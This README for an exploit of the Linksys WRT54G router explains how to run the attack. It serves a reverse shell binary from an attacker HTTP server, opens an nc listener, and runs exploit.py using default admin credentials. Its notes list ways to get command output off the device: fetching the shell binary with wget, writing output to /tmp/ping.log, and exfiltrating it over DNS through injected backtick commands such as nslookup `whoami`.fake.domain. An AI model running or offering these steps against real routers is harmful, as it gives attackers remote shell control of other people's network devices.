README.md

Exploiting Linksys WRT54G

Exploit

# Install the requirements.
pip install -r requirements.txt


ROUTER_HOST=192.169.1.1
ROUTER_USERNAME=admin
ROUTER_PASSWORD=admin

ATTACKER_HOST=192.169.1.100
ATTACKER_HTTP_SERVER_PORT=8000
ATTACKER_REVSHELL_HANDLER_PORT=4141


# Start HTTP server in order to serve the reverse shell executable.
cd revshell
python -m SimpleHTTPServer $ATTACKER_HTTP_SERVER_PORT

# Start reverse shell handler.
nc -l $ATTACKER_REVSHELL_HANDLER_PORT

# Run the exploit.
python exploit.py --host $ROUTER_HOST --username $ROUTER_USERNAME --password $ROUTER_PASSWORD --attacker-host $ATTACKER_HOST --attacker-http-port $ATTACKER_HTTP_SERVER_PORT --attacker-handler-port $ATTACKER_REVSHELL_HANDLER_PORT

Leads for leaking command output

• Look for file paths that are displayed within the web interface that command output can be written to.
  Using /tmp/ping.log to view the output at /Ping.asp.
• Use wget to download reverse shell binary to the router.
• Config the attacker as the DNS server and force the router to issue DNS requests with the command output.
  Like nslookup `whoami`.fake.domain

TODOs

• Use argparse and make the exploit an executable.

Unsolved Mysteries

• If ui_language is stored in nvram (Non-Volatile Memory), how come it fixes itself upon reboot?

Links

Firmware
Toolchain